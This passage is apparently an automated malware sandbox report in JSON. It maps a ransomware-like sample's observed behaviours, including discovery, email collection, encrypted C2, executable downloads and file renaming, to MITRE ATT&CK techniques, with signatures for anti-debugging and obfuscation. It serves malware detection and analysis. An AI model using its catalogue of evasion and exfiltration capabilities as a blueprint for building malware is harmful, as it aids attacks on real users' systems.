Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Contains reference to Outlook data files path"},{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"Contains ability to attach base64 encoded attachment to an email"},{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"References OpenSSL library string"},{"type":"informative","value":"Contains reference to OpenSSL library string"},{"type":"informative","value":"Shows ability to use asymmetric encryption algorithm"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to use AES encryption instructions"},{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops a Windows setup information (INF) file"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"suspicious","value":"Write many files with double extensions (often indicator of ransomware infection)"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"malicious","value":"Renames many files with double extensions (often indicator of ransomware infection)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","identifiers":[{"type":"suspicious","value":"The input sample dropped very many files"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to attach base64 encoded attachment to an email","description":"Found string \"Content-Transfer-Encoding: base64%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; File: \"00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; File: \"00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132.001","relevance":3,"id":"string-588","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000240.00000000.150804.02B60000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001252.00000000.153275.02F70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005112.00000001.153729.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"$29","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 4139-4603-0040AF81","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2a","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to use AES encryption instructions","description":"Found string \"AESNI_INIT_KEY\" (Indicator: \"AESNI\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found string \"AESNI_XTS_CIPHER\" (Indicator: \"AESNI\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":3,"id":"string-584","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \" ^ \"; File: \"cdosys.dll.mui\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"aphostres.dll.mui\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"_sodium.pyd\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"internet.pyd\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.744902477170184","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to attach base64 encoded attachment to an email\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use asymmetric encryption algorithm","description":"The analysis found public/private key which shows ability to use asymmetric encryption algorithm. Matched sigs: Possibly contains Public/Private key (encryption)","origin":"Indicator Combinations","mitre_attack_id":"T1573.002","relevance":1,"id":"summary-33","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Spawned process connects to a network\n Matched sigs: Possibly tries to communicate over SSL connection (HTTPS)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"python.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Microsoft Edge\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"PostMessageA\" (Indicator: \"postmessage\"; Source: \"00000000-00000240-00000C2A-1374329022\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00000240.00000000.150804.02B60000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00001252.00000000.153275.02F70000.00000004.mdmp\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"GetForegroundWindow\" (UID: 00000000-00000260)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005112)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000240)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000260)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f023000002000000004245000a00000001000000e06f4d00d50100000900000001000000e06f4d00d501000090ecf20bbeca63cad6c162cad66163ca56c264cad62563cad6c162cad6c966cad64963cae65d65cad6c16aca564263caf6e962ca964a73cad6c162ca96026dca56c282cac828000000800000a8080000800000008810000000000000 (UID: 00000000-00005112)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.dll at 